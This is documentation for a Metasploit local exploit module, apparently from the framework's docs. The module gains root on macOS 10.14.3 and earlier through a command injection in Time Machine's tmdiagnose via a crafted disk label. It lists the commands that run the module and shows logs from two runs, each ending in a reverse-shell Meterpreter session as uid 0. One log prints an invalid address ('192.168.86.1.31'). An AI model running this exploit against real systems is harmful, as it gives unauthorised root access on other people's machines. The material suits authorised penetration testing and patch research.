2.5 KiB
2.5 KiB
Vulnerable Application
This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers from a command injection vulnerability that can be exploited by creating a specially crafted disk label.
The tmdiagnose binary uses awk to list every mounted volume, and composes shell commands based on the volume labels. By creating a volume label with the backtick character, we can have our own binary executed with root privileges.
Verification Steps
- Get a session on a vulnerable system
use exploit/osx/local/timemachine_cmd_injection
set lhost <IP>
set lport <PORT>
set session <session_id>
run
Scenarios
Mac OSX 10.14.3 (Mojave)
msf5 exploit(multi/handler) > use exploit/osx/local/timemachine_cmd_injection
msf5 exploit(osx/local/timemachine_cmd_injection) > exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.0.2:5555
[*] Uploading file: '/tmp/qhjlknnmf'
[*] Executing exploit '/tmp/qhjlknnmf'
[*] Exploit result:
2019-04-18 16:18:29.190 qhjlknnmf[51122:107119] creating dmg image
2019-04-18 16:18:33.300 qhjlknnmf[51122:107119] mounting malformed disk
2019-04-18 16:18:33.564 qhjlknnmf[51122:107119] sending XPC msg
2019-04-18 16:18:33.564 qhjlknnmf[51122:107119] now wait a few minutes for the root command to run
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (808504 bytes) to 192.168.0.2
[*] Meterpreter session 2 opened (192.168.0.2:5555 -> 192.168.0.2:34270) at 2019-04-18 16:20:02 +0800
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
MacOS 10.13.3 (High Sierra)
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.86.1.31:4444
[*] Uploading file: '/tmp/.xbdtqiynvb'
[*] Executing exploit '/tmp/.xbdtqiynvb'
[*] Exploit result:
2019-06-29 12:26:29.052 .xbdtqiynvb[553:3447] creating dmg image
2019-06-29 12:26:33.193 .xbdtqiynvb[553:3447] mounting malformed disk
2019-06-29 12:26:33.533 .xbdtqiynvb[553:3447] sending XPC msg
2019-06-29 12:26:33.534 .xbdtqiynvb[553:3447] now wait a few minutes for the root command to run
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (813560 bytes) to 192.168.86.1.32
[*] Meterpreter session 3 opened (192.168.86.1.31:4444 -> 192.168.86.1.32:55888) at 2019-06-29 05:27:24 -0500
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0